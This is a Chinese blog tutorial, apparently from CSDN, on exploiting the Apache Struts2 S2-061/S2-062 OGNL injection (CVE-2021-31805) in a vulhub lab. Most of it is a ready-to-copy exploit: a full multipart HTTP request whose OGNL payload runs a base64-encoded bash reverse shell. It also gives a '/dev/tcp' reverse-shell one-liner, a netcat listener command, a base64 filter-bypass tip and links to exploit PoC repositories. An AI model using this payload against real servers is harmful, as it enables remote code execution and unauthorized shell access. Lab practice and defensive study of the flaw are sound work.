本文只针对有经验者,新手建议还是多看看其它资料, 先把基础打好.
玩了几次这漏洞, 但都有时记不住payload, 查了百度, 都是各种抄, 还是很多坑. 翻github源码呢, 又很多\r\n, 累得要死, 故自己动手做一个百分百可用的, 同时写一篇文章给渗透工程师们参考,本文仅提出关键几点
1.靶场:
vulhub/struts2/s2-061 (62是61没修复完产生的, 可直接用)
2. vi docker-compose.yml 改一下8080端口, 以免与其它Docker冲突
- "18080:8080"
docker-compose up -d
docker ps 看一下是否正常
3. 使用 bp
POST /index.action HTTP/1.1 (切换成POST)
//
中间略去
//
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=Dontjustcopywithouttellingothersthesourceofthearticle:flyingwind2000.node0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1195
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTky**我是小风***g4ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
关键几点:
1. Content-Type:别漏了改, 这是个大坑
2. exec: 替换成自己的SHELL, 简单的就直接用whoami使用
bash -i >& /dev/tcp/192.168.0.10/8889 0>&1 (IP与自己的NC对应)
(还有很多种方式, 这是就不一一列出来了, perl , python 等 )
3. 绕过: 把上面BASE64后,得到ENCODE值,替换那堆数据
{'bash -c {echo,YmFzaCAtaSAgPildi90Y***小风**LjE2OC4wLjIyLzg4ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'}))
4. 自己在另一台接的机器上起nc 等反弹
nc -lvp 8889 (对应上面的IP)
** 其它几个可以参考的工具
1.GitHub - YanMu2020/s2-062: 远程代码执行S2-062 CVE-2021-31805验证POC
2.比较值得COPY的PAYLOAD https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805/blob/main/Struts2_S2-062_CVE-2021-31805.py
3.觉得还不错的工具
https://github.com/ffffffff0x/BerylEnigma
https://github.com/ffffffff0x/BerylEnigma/releases/download/1.11.1/BE-BerylEnigma-win.zip
图就不上了, 最讨厌只给图还不能复制,相煎何太急, 写文章不就是让大家方便复制嘛.
特别感谢前辈们无私的贡献. 本人也是个开发线上的老鸟, 各种开发语言都懂, 知识面还算挺广, 但安全方面就不算专家了,算是后辈, 但非常感兴趣, 请各位不吝指导. 一直懒得去写文章. 账号忘记密码很久没有用,今天csdn客服热情帮我找回来. 以后抽空多写一下吧, 回馈曾经帮助过我的那些网络上的无名前辈与过客. 希望您也能无私帮助他人,别学我这么懒. :^-^)

7555




被折叠的 条评论
为什么被折叠?



